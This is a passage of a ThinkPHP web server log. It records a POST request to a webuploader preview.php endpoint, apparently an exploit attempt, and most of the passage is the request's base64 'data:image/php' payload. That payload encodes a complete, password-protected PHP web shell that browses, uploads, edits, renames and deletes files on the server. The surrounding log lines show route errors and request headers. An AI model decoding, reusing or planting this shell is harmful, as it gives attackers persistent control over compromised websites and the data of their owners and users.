AgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:58+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/static/admin/lib/webuploader/server/preview.php [运行时间:0.002566s] [吞吐率:389.73req/s] [内存消耗:196.84kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzOD